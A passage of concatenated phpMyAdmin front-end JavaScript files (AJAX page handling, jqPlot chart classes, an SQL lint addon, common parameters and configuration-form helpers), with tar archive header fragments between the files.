'); Functions.highlightSql($('#page_content')); Functions.checkNumberOfFields(); } if (data.selflink) { var source = data.selflink.split('?')[0]; // Check for faulty links var $selflinkReplace = { 'index.php?route=/import': 'index.php?route=/table/sql', 'index.php?route=/table/chart': 'index.php?route=/sql', 'index.php?route=/table/gis-visualization': 'index.php?route=/sql' }; if ($selflinkReplace[source]) { var replacement = $selflinkReplace[source]; data.selflink = data.selflink.replace(source, replacement); } $('#selflink').find('> a').attr('href', data.selflink); } if (data.params) { CommonParams.setAll(data.params); } if (data.scripts) { AJAX.scriptHandler.load(data.scripts); } if (data.displayMessage) { $('#page_content').prepend(data.displayMessage); Functions.highlightSql($('#page_content')); } $('#pma_errors').remove(); var msg = ''; if (data.errSubmitMsg) { msg = data.errSubmitMsg; } if (data.errors) { $('
', { id: 'pma_errors', class: 'clearfloat d-print-none' }).insertAfter('#selflink').append(data.errors); // bind for php error reporting forms (bottom) $('#pma_ignore_errors_bottom').on('click', function (e) { e.preventDefault(); Functions.ignorePhpErrors(); }); $('#pma_ignore_all_errors_bottom').on('click', function (e) { e.preventDefault(); Functions.ignorePhpErrors(false); }); // In case of 'sendErrorReport'='always' // submit the hidden error reporting form. if (data.sendErrorAlways === '1' && data.stopErrorReportLoop !== '1') { $('#pma_report_errors_form').trigger('submit'); Functions.ajaxShowMessage(Messages.phpErrorsBeingSubmitted, false); $('html, body').animate({ scrollTop: $(document).height() }, 'slow'); } else if (data.promptPhpErrors) { // otherwise just prompt user if it is set so. msg = msg + Messages.phpErrorsFound; // scroll to bottom where all the errors are displayed. $('html, body').animate({ scrollTop: $(document).height() }, 'slow'); } } Functions.ajaxShowMessage(msg, false); // bind for php error reporting forms (popup) $('#pma_ignore_errors_popup').on('click', function () { Functions.ignorePhpErrors(); }); $('#pma_ignore_all_errors_popup').on('click', function () { Functions.ignorePhpErrors(false); }); if (typeof AJAX.callback === 'function') { AJAX.callback.call(); } AJAX.callback = function () {}; }); } else { Functions.ajaxShowMessage(data.error, false); Functions.ajaxRemoveMessage(AJAX.$msgbox); var $ajaxError = $('
'); $ajaxError.attr({ 'id': 'ajaxError' }); $('#page_content').append($ajaxError); $ajaxError.html(data.error); $('html, body').animate({ scrollTop: $(document).height() }, 200); AJAX.active = false; AJAX.xhr = null; Functions.handleRedirectAndReload(data); if (data.fieldWithError) { $(':input.error').removeClass('error'); $('#' + data.fieldWithError).addClass('error'); } } }, /** * This object is in charge of downloading scripts, * keeping track of what's downloaded and firing * the onload event for them when the page is ready. */ scriptHandler: { /** * @var {string[]} scripts The list of files already downloaded */ scripts: [], /** * @var {string} scriptsVersion version of phpMyAdmin from which the * scripts have been loaded */ scriptsVersion: null, /** * @var {string[]} scriptsToBeLoaded The list of files that * need to be downloaded */ scriptsToBeLoaded: [], /** * @var {string[]} scriptsToBeFired The list of files for which * to fire the onload and unload events */ scriptsToBeFired: [], scriptsCompleted: false, /** * Records that a file has been downloaded * * @param {string} file The filename * @param {string} fire Whether this file will be registering * onload/teardown events * * @return {self} For chaining */ add: function (file, fire) { this.scripts.push(file); if (fire) { // Record whether to fire any events for the file // This is necessary to correctly tear down the initial page this.scriptsToBeFired.push(file); } return this; }, /** * Download a list of js files in one request * * @param {string[]} files An array of filenames and flags * @param {Function} callback * * @return {void} */ load: function (files, callback) { var self = this; var i; // Clear loaded scripts if they are from another version of phpMyAdmin. // Depends on common params being set before loading scripts in responseHandler if (self.scriptsVersion === null) { self.scriptsVersion = CommonParams.get('version'); } else if (self.scriptsVersion !== CommonParams.get('version')) { self.scripts = []; self.scriptsVersion = CommonParams.get('version'); } self.scriptsCompleted = false; self.scriptsToBeFired = []; // We need to first complete list of files to load // as next loop will directly fire requests to load them // and that triggers removal of them from // self.scriptsToBeLoaded for (i in files) { self.scriptsToBeLoaded.push(files[i].name); if (files[i].fire) { self.scriptsToBeFired.push(files[i].name); } } for (i in files) { var script = files[i].name; // Only for scripts that we don't already have if ($.inArray(script, self.scripts) === -1) { this.add(script); this.appendScript(script, callback); } else { self.done(script, callback); } } // Trigger callback if there is nothing else to load self.done(null, callback); }, /** * Called whenever all files are loaded * * @param {string} script * @param {Function?} callback * * @return {void} */ done: function (script, callback) { if ($.inArray(script, this.scriptsToBeFired)) { AJAX.fireOnload(script); } if ($.inArray(script, this.scriptsToBeLoaded)) { this.scriptsToBeLoaded.splice($.inArray(script, this.scriptsToBeLoaded), 1); } if (script === null) { this.scriptsCompleted = true; } /* We need to wait for last signal (with null) or last script load */ AJAX.active = this.scriptsToBeLoaded.length > 0 || !this.scriptsCompleted; /* Run callback on last script */ if (!AJAX.active && typeof callback === 'function') { callback(); } }, /** * Appends a script element to the head to load the scripts * * @param {string} name * @param {Function} callback * * @return {void} */ appendScript: function (name, callback) { var head = document.head || document.getElementsByTagName('head')[0]; var script = document.createElement('script'); var self = this; script.type = 'text/javascript'; var file = name.indexOf('vendor/') !== -1 ? name : 'dist/' + name; script.src = 'js/' + file + '?' + 'v=' + encodeURIComponent(CommonParams.get('version')); script.async = false; script.onload = function () { self.done(name, callback); }; head.appendChild(script); }, /** * Fires all the teardown event handlers for the current page * and rebinds all forms and links to the request handler * * @param {Function} callback The callback to call after resetting * * @return {void} */ reset: function (callback) { for (var i in this.scriptsToBeFired) { AJAX.fireTeardown(this.scriptsToBeFired[i]); } this.scriptsToBeFired = []; /** * Re-attach a generic event handler to clicks * on pages and submissions of forms */ $(document).off('click', 'a').on('click', 'a', AJAX.requestHandler); $(document).off('submit', 'form').on('submit', 'form', AJAX.requestHandler); callback(); } } }; /** * Here we register a function that will remove the onsubmit event from all * forms that will be handled by the generic page loader. We then save this * event handler in the "jQuery data", so that we can fire it up later in * AJAX.requestHandler(). * * See bug #3583316 */ AJAX.registerOnload('functions.js', function () { // Registering the onload event for functions.js // ensures that it will be fired for all pages $('form').not('.ajax').not('.disableAjax').each(function () { if ($(this).attr('onsubmit')) { $(this).data('onsubmit', this.onsubmit).attr('onsubmit', ''); } }); var $pageContent = $('#page_content'); /** * Workaround for passing submit button name,value on ajax form submit * by appending hidden element with submit button name and value. */ $pageContent.on('click', 'form input[type=submit]', function () { var buttonName = $(this).attr('name'); if (typeof buttonName === 'undefined') { return; } $(this).closest('form').append($('', { 'type': 'hidden', 'name': buttonName, 'value': $(this).val() })); }); /** * Attach event listener to events when user modify visible * Input,Textarea and select fields to make changes in forms */ $pageContent.on('keyup change', 'form.lock-page textarea, ' + 'form.lock-page input[type="text"], ' + 'form.lock-page input[type="number"], ' + 'form.lock-page select', { value: 1 }, AJAX.lockPageHandler); $pageContent.on('change', 'form.lock-page input[type="checkbox"], ' + 'form.lock-page input[type="radio"]', { value: 2 }, AJAX.lockPageHandler); /** * Reset lock when lock-page form reset event is fired * Note: reset does not bubble in all browser so attach to * form directly. */ $('form.lock-page').on('reset', function () { AJAX.resetLock(); }); }); /** * Page load event handler */ $(function () { var menuContent = $('
').append($('#server-breadcrumb').clone()).append($('#topmenucontainer').clone()).html(); // set initial state reload var initState = 'state' in window.history && window.history.state !== null; var initURL = $('#selflink').find('> a').attr('href') || location.href; var state = { url: initURL, menu: menuContent }; history.replaceState(state, null); $(window).on('popstate', function (event) { var initPop = !initState && location.href === initURL; initState = true; // check if popstate fired on first page itself if (initPop) { return; } var state = event.originalEvent.state; if (state && state.menu) { AJAX.$msgbox = Functions.ajaxShowMessage(); var params = 'ajax_request=true' + CommonParams.get('arg_separator') + 'ajax_page_request=true'; var url = state.url || location.href; $.get(url, params, AJAX.responseHandler); // TODO: Check if sometimes menu is not retrieved from server, // Not sure but it seems menu was missing only for printview which // been removed lately, so if it's right some dead menu checks/fallbacks // may need to be removed from this file and Header.php // AJAX.handleMenu.replace(event.originalEvent.state.menu); } }); }); /** * Attach a generic event handler to clicks * on pages and submissions of forms */ $(document).on('click', 'a', AJAX.requestHandler); $(document).on('submit', 'form', AJAX.requestHandler); /** * Gracefully handle fatal server errors * (e.g: 500 - Internal server error) */ $(document).on('ajaxError', function (event, request) { if (AJAX.debug) { // eslint-disable-next-line no-console console.log('AJAX error: status=' + request.status + ', text=' + request.statusText); } // Don't handle aborted requests if (request.status !== 0 || request.statusText !== 'abort') { var details = ''; var state = request.state(); if (request.status !== 0) { details += '
' + Functions.escapeHtml(Functions.sprintf(Messages.strErrorCode, request.status)) + '
'; } details += '
' + Functions.escapeHtml(Functions.sprintf(Messages.strErrorText, request.statusText + ' (' + state + ')')) + '
'; if (state === 'rejected' || state === 'timeout') { details += '
' + Functions.escapeHtml(Messages.strErrorConnection) + '
'; } Functions.ajaxShowMessage('', false); AJAX.active = false; AJAX.xhr = null; } });dist/chart.js000066600000041240151724472050007162 0ustar00/** * Chart type enumerations */ var ChartType = { LINE: 'line', SPLINE: 'spline', AREA: 'area', BAR: 'bar', COLUMN: 'column', PIE: 'pie', TIMELINE: 'timeline', SCATTER: 'scatter' }; /** * Column type enumeration */ var ColumnType = { STRING: 'string', NUMBER: 'number', BOOLEAN: 'boolean', DATE: 'date' }; /** * Abstract chart factory which defines the contract for chart factories */ var ChartFactory = function () {}; ChartFactory.prototype = { createChart: function () { throw new Error('createChart must be implemented by a subclass'); } }; /** * Abstract chart which defines the contract for charts * * @param elementId * id of the div element the chart is drawn in */ var Chart = function (elementId) { this.elementId = elementId; }; Chart.prototype = { draw: function () { throw new Error('draw must be implemented by a subclass'); }, redraw: function () { throw new Error('redraw must be implemented by a subclass'); }, destroy: function () { throw new Error('destroy must be implemented by a subclass'); }, toImageString: function () { throw new Error('toImageString must be implemented by a subclass'); } }; /** * Abstract representation of charts that operates on DataTable where,
* * Line chart, area chart, bar chart, column chart are typical examples. * * @param elementId * id of the div element the chart is drawn in */ var BaseChart = function (elementId) { Chart.call(this, elementId); }; BaseChart.prototype = new Chart(); BaseChart.prototype.constructor = BaseChart; BaseChart.prototype.validateColumns = function (dataTable) { var columns = dataTable.getColumns(); if (columns.length < 2) { throw new Error('Minimum of two columns are required for this chart'); } for (var i = 1; i < columns.length; i++) { if (columns[i].type !== ColumnType.NUMBER) { throw new Error('Column ' + (i + 1) + ' should be of type \'Number\''); } } return true; }; /** * Abstract pie chart * * @param elementId * id of the div element the chart is drawn in */ var PieChart = function (elementId) { BaseChart.call(this, elementId); }; PieChart.prototype = new BaseChart(); PieChart.prototype.constructor = PieChart; PieChart.prototype.validateColumns = function (dataTable) { var columns = dataTable.getColumns(); if (columns.length > 2) { throw new Error('Pie charts can draw only one series'); } return BaseChart.prototype.validateColumns.call(this, dataTable); }; /** * Abstract timeline chart * * @param elementId * id of the div element the chart is drawn in */ var TimelineChart = function (elementId) { BaseChart.call(this, elementId); }; TimelineChart.prototype = new BaseChart(); TimelineChart.prototype.constructor = TimelineChart; TimelineChart.prototype.validateColumns = function (dataTable) { var result = BaseChart.prototype.validateColumns.call(this, dataTable); if (result) { var columns = dataTable.getColumns(); if (columns[0].type !== ColumnType.DATE) { throw new Error('First column of timeline chart need to be a date column'); } } return result; }; /** * Abstract scatter chart * * @param elementId * id of the div element the chart is drawn in */ var ScatterChart = function (elementId) { BaseChart.call(this, elementId); }; ScatterChart.prototype = new BaseChart(); ScatterChart.prototype.constructor = ScatterChart; ScatterChart.prototype.validateColumns = function (dataTable) { var result = BaseChart.prototype.validateColumns.call(this, dataTable); if (result) { var columns = dataTable.getColumns(); if (columns[0].type !== ColumnType.NUMBER) { throw new Error('First column of scatter chart need to be a numeric column'); } } return result; }; /** * The data table contains column information and data for the chart. */ // eslint-disable-next-line no-unused-vars var DataTable = function () { var columns = []; var data = null; this.addColumn = function (type, name) { columns.push({ 'type': type, 'name': name }); }; this.getColumns = function () { return columns; }; this.setData = function (rows) { data = rows; fillMissingValues(); }; this.getData = function () { return data; }; var fillMissingValues = function () { if (columns.length === 0) { throw new Error('Set columns first'); } var row; for (var i = 0; i < data.length; i++) { row = data[i]; if (row.length > columns.length) { row.splice(columns.length - 1, row.length - columns.length); } else if (row.length < columns.length) { for (var j = row.length; j < columns.length; j++) { row.push(null); } } } }; }; /** ***************************************************************************** * JQPlot specific code ******************************************************************************/ /** * Abstract JQplot chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotChart = function (elementId) { Chart.call(this, elementId); this.plot = null; this.validator = null; }; JQPlotChart.prototype = new Chart(); JQPlotChart.prototype.constructor = JQPlotChart; JQPlotChart.prototype.draw = function (data, options) { if (this.validator.validateColumns(data)) { this.plot = $.jqplot(this.elementId, this.prepareData(data), this.populateOptions(data, options)); } }; JQPlotChart.prototype.destroy = function () { if (this.plot !== null) { this.plot.destroy(); } }; JQPlotChart.prototype.redraw = function (options) { if (this.plot !== null) { this.plot.replot(options); } }; JQPlotChart.prototype.toImageString = function () { if (this.plot !== null) { return $('#' + this.elementId).jqplotToImageStr({}); } }; JQPlotChart.prototype.populateOptions = function () { throw new Error('populateOptions must be implemented by a subclass'); }; JQPlotChart.prototype.prepareData = function () { throw new Error('prepareData must be implemented by a subclass'); }; /** * JQPlot line chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotLineChart = function (elementId) { JQPlotChart.call(this, elementId); this.validator = BaseChart.prototype; }; JQPlotLineChart.prototype = new JQPlotChart(); JQPlotLineChart.prototype.constructor = JQPlotLineChart; JQPlotLineChart.prototype.populateOptions = function (dataTable, options) { var columns = dataTable.getColumns(); var optional = { axes: { xaxis: { label: columns[0].name, renderer: $.jqplot.CategoryAxisRenderer, ticks: [] }, yaxis: { label: columns.length === 2 ? columns[1].name : 'Values', labelRenderer: $.jqplot.CanvasAxisLabelRenderer } }, highlighter: { show: true, tooltipAxes: 'y', formatString: '%d' }, series: [] }; $.extend(true, optional, options); if (optional.series.length === 0) { for (var i = 1; i < columns.length; i++) { optional.series.push({ label: columns[i].name.toString() }); } } if (optional.axes.xaxis.ticks.length === 0) { var data = dataTable.getData(); for (var j = 0; j < data.length; j++) { optional.axes.xaxis.ticks.push(data[j][0].toString()); } } return optional; }; JQPlotLineChart.prototype.prepareData = function (dataTable) { var data = dataTable.getData(); var row; var retData = []; var retRow; for (var i = 0; i < data.length; i++) { row = data[i]; for (var j = 1; j < row.length; j++) { retRow = retData[j - 1]; if (retRow === undefined) { retRow = []; retData[j - 1] = retRow; } retRow.push(row[j]); } } return retData; }; /** * JQPlot spline chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotSplineChart = function (elementId) { JQPlotLineChart.call(this, elementId); }; JQPlotSplineChart.prototype = new JQPlotLineChart(); JQPlotSplineChart.prototype.constructor = JQPlotSplineChart; JQPlotSplineChart.prototype.populateOptions = function (dataTable, options) { var optional = {}; var opt = JQPlotLineChart.prototype.populateOptions.call(this, dataTable, options); var compulsory = { seriesDefaults: { rendererOptions: { smooth: true } } }; $.extend(true, optional, opt, compulsory); return optional; }; /** * JQPlot scatter chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotScatterChart = function (elementId) { JQPlotChart.call(this, elementId); this.validator = ScatterChart.prototype; }; JQPlotScatterChart.prototype = new JQPlotChart(); JQPlotScatterChart.prototype.constructor = JQPlotScatterChart; JQPlotScatterChart.prototype.populateOptions = function (dataTable, options) { var columns = dataTable.getColumns(); var optional = { axes: { xaxis: { label: columns[0].name }, yaxis: { label: columns.length === 2 ? columns[1].name : 'Values', labelRenderer: $.jqplot.CanvasAxisLabelRenderer } }, highlighter: { show: true, tooltipAxes: 'xy', formatString: '%d, %d' }, series: [] }; for (var i = 1; i < columns.length; i++) { optional.series.push({ label: columns[i].name.toString() }); } var compulsory = { seriesDefaults: { showLine: false, markerOptions: { size: 7, style: 'x' } } }; $.extend(true, optional, options, compulsory); return optional; }; JQPlotScatterChart.prototype.prepareData = function (dataTable) { var data = dataTable.getData(); var row; var retData = []; var retRow; for (var i = 0; i < data.length; i++) { row = data[i]; if (row[0]) { for (var j = 1; j < row.length; j++) { retRow = retData[j - 1]; if (retRow === undefined) { retRow = []; retData[j - 1] = retRow; } retRow.push([row[0], row[j]]); } } } return retData; }; /** * JQPlot timeline chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotTimelineChart = function (elementId) { JQPlotLineChart.call(this, elementId); this.validator = TimelineChart.prototype; }; JQPlotTimelineChart.prototype = new JQPlotLineChart(); JQPlotTimelineChart.prototype.constructor = JQPlotTimelineChart; JQPlotTimelineChart.prototype.populateOptions = function (dataTable, options) { var optional = { axes: { xaxis: { tickOptions: { formatString: '%b %#d, %y' } } } }; var opt = JQPlotLineChart.prototype.populateOptions.call(this, dataTable, options); var compulsory = { axes: { xaxis: { renderer: $.jqplot.DateAxisRenderer } } }; $.extend(true, optional, opt, compulsory); return optional; }; JQPlotTimelineChart.prototype.prepareData = function (dataTable) { var data = dataTable.getData(); var row; var d; var retData = []; var retRow; for (var i = 0; i < data.length; i++) { row = data[i]; d = row[0]; for (var j = 1; j < row.length; j++) { retRow = retData[j - 1]; if (retRow === undefined) { retRow = []; retData[j - 1] = retRow; } // See https://github.com/phpmyadmin/phpmyadmin/issues/14395 for the block if (d !== null && typeof d === 'object') { retRow.push([d.getTime(), row[j]]); } else if (typeof d === 'string') { d = new Date(d); retRow.push([d.getTime(), row[j]]); } } } return retData; }; /** * JQPlot area chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotAreaChart = function (elementId) { JQPlotLineChart.call(this, elementId); }; JQPlotAreaChart.prototype = new JQPlotLineChart(); JQPlotAreaChart.prototype.constructor = JQPlotAreaChart; JQPlotAreaChart.prototype.populateOptions = function (dataTable, options) { var optional = { seriesDefaults: { fillToZero: true } }; var opt = JQPlotLineChart.prototype.populateOptions.call(this, dataTable, options); var compulsory = { seriesDefaults: { fill: true } }; $.extend(true, optional, opt, compulsory); return optional; }; /** * JQPlot column chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotColumnChart = function (elementId) { JQPlotLineChart.call(this, elementId); }; JQPlotColumnChart.prototype = new JQPlotLineChart(); JQPlotColumnChart.prototype.constructor = JQPlotColumnChart; JQPlotColumnChart.prototype.populateOptions = function (dataTable, options) { var optional = { seriesDefaults: { fillToZero: true } }; var opt = JQPlotLineChart.prototype.populateOptions.call(this, dataTable, options); var compulsory = { seriesDefaults: { renderer: $.jqplot.BarRenderer } }; $.extend(true, optional, opt, compulsory); return optional; }; /** * JQPlot bar chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotBarChart = function (elementId) { JQPlotLineChart.call(this, elementId); }; JQPlotBarChart.prototype = new JQPlotLineChart(); JQPlotBarChart.prototype.constructor = JQPlotBarChart; JQPlotBarChart.prototype.populateOptions = function (dataTable, options) { var columns = dataTable.getColumns(); var optional = { axes: { yaxis: { label: columns[0].name, labelRenderer: $.jqplot.CanvasAxisLabelRenderer, renderer: $.jqplot.CategoryAxisRenderer, ticks: [] }, xaxis: { label: columns.length === 2 ? columns[1].name : 'Values', labelRenderer: $.jqplot.CanvasAxisLabelRenderer } }, highlighter: { show: true, tooltipAxes: 'x', formatString: '%d' }, series: [], seriesDefaults: { fillToZero: true } }; var compulsory = { seriesDefaults: { renderer: $.jqplot.BarRenderer, rendererOptions: { barDirection: 'horizontal' } } }; $.extend(true, optional, options, compulsory); if (optional.axes.yaxis.ticks.length === 0) { var data = dataTable.getData(); for (var i = 0; i < data.length; i++) { optional.axes.yaxis.ticks.push(data[i][0].toString()); } } if (optional.series.length === 0) { for (var j = 1; j < columns.length; j++) { optional.series.push({ label: columns[j].name.toString() }); } } return optional; }; /** * JQPlot pie chart * * @param elementId * id of the div element the chart is drawn in */ var JQPlotPieChart = function (elementId) { JQPlotChart.call(this, elementId); this.validator = PieChart.prototype; }; JQPlotPieChart.prototype = new JQPlotChart(); JQPlotPieChart.prototype.constructor = JQPlotPieChart; JQPlotPieChart.prototype.populateOptions = function (dataTable, options) { var optional = { highlighter: { show: true, tooltipAxes: 'xy', formatString: '%s, %d', useAxesFormatters: false }, legend: { renderer: $.jqplot.EnhancedPieLegendRenderer } }; var compulsory = { seriesDefaults: { shadow: false, renderer: $.jqplot.PieRenderer, rendererOptions: { sliceMargin: 1, showDataLabels: true } } }; $.extend(true, optional, options, compulsory); return optional; }; JQPlotPieChart.prototype.prepareData = function (dataTable) { var data = dataTable.getData(); var row; var retData = []; for (var i = 0; i < data.length; i++) { row = data[i]; retData.push([row[0], row[1]]); } return [retData]; }; /** * Chart factory that returns JQPlotCharts */ var JQPlotChartFactory = function () {}; JQPlotChartFactory.prototype = new ChartFactory(); JQPlotChartFactory.prototype.createChart = function (type, elementId) { var chart = null; switch (type) { case ChartType.LINE: chart = new JQPlotLineChart(elementId); break; case ChartType.SPLINE: chart = new JQPlotSplineChart(elementId); break; case ChartType.TIMELINE: chart = new JQPlotTimelineChart(elementId); break; case ChartType.AREA: chart = new JQPlotAreaChart(elementId); break; case ChartType.BAR: chart = new JQPlotBarChart(elementId); break; case ChartType.COLUMN: chart = new JQPlotColumnChart(elementId); break; case ChartType.PIE: chart = new JQPlotPieChart(elementId); break; case ChartType.SCATTER: chart = new JQPlotScatterChart(elementId); break; } return chart; };dist/codemirror/addon/lint/sql-lint.js000066600000001654151724472050014031 0ustar00CodeMirror.sqlLint = function (text, updateLinting, options, cm) { // Skipping check if text box is empty. if (text.trim() === '') { updateLinting(cm, []); return; } function handleResponse(response) { var found = []; for (var idx in response) { found.push({ // eslint-disable-next-line new-cap from: CodeMirror.Pos(response[idx].fromLine, response[idx].fromColumn), // eslint-disable-next-line new-cap to: CodeMirror.Pos(response[idx].toLine, response[idx].toColumn), messageHTML: response[idx].message, severity: response[idx].severity }); } updateLinting(cm, found); } $.ajax({ method: 'POST', url: 'index.php?route=/lint', dataType: 'json', data: { 'sql_query': text, 'server': CommonParams.get('server'), 'options': options.lintOptions, 'no_history': true }, success: handleResponse }); };dist/common.js000066600000010662151724472050007355 0ustar00$(function () { Functions.checkNumberOfFields(); }); /** * Holds common parameters such as server, db, table, etc * * The content for this is normally loaded from Header.php or * Response.php and executed by ajax.js * * @test-module CommonParams */ var CommonParams = function () { /** * @var {Object} params An associative array of key value pairs * @access private */ var params = {}; // The returned object is the public part of the module return { /** * Saves all the key value pair that * are provided in the input array * * @param obj hash The input array * * @return {void} */ setAll: function (obj) { var updateNavigation = false; for (var i in obj) { if (params[i] !== undefined && params[i] !== obj[i]) { if (i === 'db' || i === 'table') { updateNavigation = true; } } params[i] = obj[i]; } if (updateNavigation && $('#pma_navigation_tree').hasClass('synced')) { Navigation.showCurrent(); } }, /** * Retrieves a value given its key * Returns empty string for undefined values * * @param {string} name The key * * @return {string} */ get: function (name) { return params[name]; }, /** * Saves a single key value pair * * @param {string} name The key * @param {string} value The value * * @return {CommonParams} For chainability */ set: function (name, value) { var updateNavigation = false; if (name === 'db' || name === 'table' && params[name] !== value) { updateNavigation = true; } params[name] = value; if (updateNavigation && $('#pma_navigation_tree').hasClass('synced')) { Navigation.showCurrent(); } return this; }, /** * Returns the url query string using the saved parameters * * @param {string} separator New separator * * @return {string} */ getUrlQuery: function (separator) { var sep = typeof separator !== 'undefined' ? separator : '?'; var common = this.get('common_query'); var argsep = CommonParams.get('arg_separator'); if (typeof common === 'string' && common.length > 0) { // If the last char is the separator, do not add it // Else add it common = common.substr(common.length - 1, common.length) === argsep ? common : common + argsep; } return Functions.sprintf('%s%sserver=%s' + argsep + 'db=%s' + argsep + 'table=%s', sep, common, encodeURIComponent(this.get('server')), encodeURIComponent(this.get('db')), encodeURIComponent(this.get('table'))); } }; }(); /** * Holds common parameters such as server, db, table, etc * * The content for this is normally loaded from Header.php or * Response.php and executed by ajax.js */ // eslint-disable-next-line no-unused-vars var CommonActions = { /** * Saves the database name when it's changed * and reloads the query window, if necessary * * @param {string} newDb new_db The name of the new database * * @return {void} */ setDb: function (newDb) { if (newDb !== CommonParams.get('db')) { CommonParams.setAll({ 'db': newDb, 'table': '' }); } }, /** * Opens a database in the main part of the page * * @param {string} newDb The name of the new database * * @return {void} */ openDb: function (newDb) { CommonParams.set('db', newDb).set('table', ''); this.refreshMain(CommonParams.get('opendb_url')); }, /** * Refreshes the main frame * * @param {any} url Undefined to refresh to the same page * String to go to a different page, e.g: 'index.php' * @param {function | undefined} callback * * @return {void} */ refreshMain: function (url) { let callback = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : undefined; var newUrl = url; if (!newUrl) { newUrl = $('#selflink').find('a').attr('href') || window.location.pathname; newUrl = newUrl.substring(0, newUrl.indexOf('?')); } if (newUrl.indexOf('?') !== -1) { newUrl += CommonParams.getUrlQuery(CommonParams.get('arg_separator')); } else { newUrl += CommonParams.getUrlQuery('?'); } $('', { href: newUrl }).appendTo('body').trigger('click').remove(); if (typeof callback !== 'undefined') { AJAX.callback = callback; } } };dist/config.js000066600000056773151724472050007347 0ustar00/** * Functions used in configuration forms and on user preferences pages */ /* exported PASSIVE_EVENT_LISTENERS */ var configInlineParams; var configScriptLoaded; /** * checks whether browser supports web storage * * @param {'localStorage' | 'sessionStorage'} type the type of storage i.e. localStorage or sessionStorage * @param {boolean} warn Wether to show a warning on error * * @return {boolean} */ function isStorageSupported(type) { let warn = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; try { window[type].setItem('PMATest', 'test'); // Check whether key-value pair was set successfully if (window[type].getItem('PMATest') === 'test') { // Supported, remove test variable from storage window[type].removeItem('PMATest'); return true; } } catch (error) { // Not supported if (warn) { Functions.ajaxShowMessage(Messages.strNoLocalStorage, false); } } return false; } /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('config.js', function () { $('.optbox input[id], .optbox select[id], .optbox textarea[id]').off('change').off('keyup'); $('.optbox input[type=button][name=submit_reset]').off('click'); $('div.tab-content').off(); $('#import_local_storage, #export_local_storage').off('click'); $('form.prefs-form').off('change').off('submit'); $(document).off('click', 'div.click-hide-message'); $('#prefs_autoload').find('a').off('click'); }); AJAX.registerOnload('config.js', function () { var $topmenuUpt = $('#user_prefs_tabs'); $topmenuUpt.find('a.active').attr('rel', 'samepage'); $topmenuUpt.find('a:not(.active)').attr('rel', 'newpage'); }); // default values for fields var defaultValues = {}; /** * Returns field type * * @param {Element} field * * @return {string} */ function getFieldType(field) { var $field = $(field); var tagName = $field.prop('tagName'); if (tagName === 'INPUT') { return $field.attr('type'); } else if (tagName === 'SELECT') { return 'select'; } else if (tagName === 'TEXTAREA') { return 'text'; } return ''; } /** * Enables or disables the "restore default value" button * * @param {Element} field * @param {boolean} display * * @return {void} */ function setRestoreDefaultBtn(field, display) { var $el = $(field).closest('td').find('.restore-default img'); $el[display ? 'show' : 'hide'](); } /** * Marks field depending on its value (system default or custom) * * @param {Element | JQuery} field * * @return {void} */ function markField(field) { var $field = $(field); var type = getFieldType($field); var isDefault = checkFieldDefault($field, type); // checkboxes uses parent for marking var $fieldMarker = type === 'checkbox' ? $field.parent() : $field; setRestoreDefaultBtn($field, !isDefault); $fieldMarker[isDefault ? 'removeClass' : 'addClass']('custom'); } /** * Sets field value * * value must be of type: * o undefined (omitted) - restore default value (form default, not PMA default) * o String - if field_type is 'text' * o boolean - if field_type is 'checkbox' * o Array of values - if field_type is 'select' * * @param {Element} field * @param {string} fieldType see {@link #getFieldType} * @param {string | boolean} value */ function setFieldValue(field, fieldType, value) { var $field = $(field); switch (fieldType) { case 'text': case 'number': $field.val(value); break; case 'checkbox': $field.prop('checked', value); break; case 'select': var options = $field.prop('options'); var i; var imax = options.length; for (i = 0; i < imax; i++) { options[i].selected = value.indexOf(options[i].value) !== -1; } break; } markField($field); } /** * Gets field value * * Will return one of: * o String - if type is 'text' * o boolean - if type is 'checkbox' * o Array of values - if type is 'select' * * @param {Element} field * @param {string} fieldType returned by {@link #getFieldType} * * @return {boolean | string | string[] | null} */ function getFieldValue(field, fieldType) { var $field = $(field); switch (fieldType) { case 'text': case 'number': return $field.prop('value'); case 'checkbox': return $field.prop('checked'); case 'select': var options = $field.prop('options'); var i; var imax = options.length; var items = []; for (i = 0; i < imax; i++) { if (options[i].selected) { items.push(options[i].value); } } return items; } return null; } /** * Returns values for all fields in fieldsets * * @return {object} */ // eslint-disable-next-line no-unused-vars function getAllValues() { var $elements = $('fieldset input, fieldset select, fieldset textarea'); var values = {}; var type; var value; for (var i = 0; i < $elements.length; i++) { type = getFieldType($elements[i]); value = getFieldValue($elements[i], type); if (typeof value !== 'undefined') { // we only have single selects, fatten array if (type === 'select') { value = value[0]; } values[$elements[i].name] = value; } } return values; } /** * Checks whether field has its default value * * @param {Element} field * @param {string} type * * @return {boolean} */ function checkFieldDefault(field, type) { var $field = $(field); var fieldId = $field.attr('id'); if (typeof defaultValues[fieldId] === 'undefined') { return true; } var isDefault = true; var currentValue = getFieldValue($field, type); if (type !== 'select') { isDefault = currentValue === defaultValues[fieldId]; } else { // compare arrays, will work for our representation of select values if (currentValue.length !== defaultValues[fieldId].length) { isDefault = false; } else { for (var i = 0; i < currentValue.length; i++) { if (currentValue[i] !== defaultValues[fieldId][i]) { isDefault = false; break; } } } } return isDefault; } /** * Returns element's id prefix * @param {Element} element * * @return {string} */ // eslint-disable-next-line no-unused-vars function getIdPrefix(element) { return $(element).attr('id').replace(/[^-]+$/, ''); } // ------------------------------------------------------------------ // Form validation and field operations // // form validator assignments var validate = {}; // form validator list var validators = { // regexp: numeric value regExpNumeric: /^[0-9]+$/, // regexp: extract parts from PCRE expression regExpPcreExtract: /(.)(.*)\1(.*)?/, /** * Validates positive number * * @param {boolean} isKeyUp * * @return {boolean} */ validatePositiveNumber: function (isKeyUp) { if (isKeyUp && this.value === '') { return true; } var result = this.value !== '0' && validators.regExpNumeric.test(this.value); return result ? true : Messages.error_nan_p; }, /** * Validates non-negative number * * @param {boolean} isKeyUp * * @return {boolean} */ validateNonNegativeNumber: function (isKeyUp) { if (isKeyUp && this.value === '') { return true; } var result = validators.regExpNumeric.test(this.value); return result ? true : 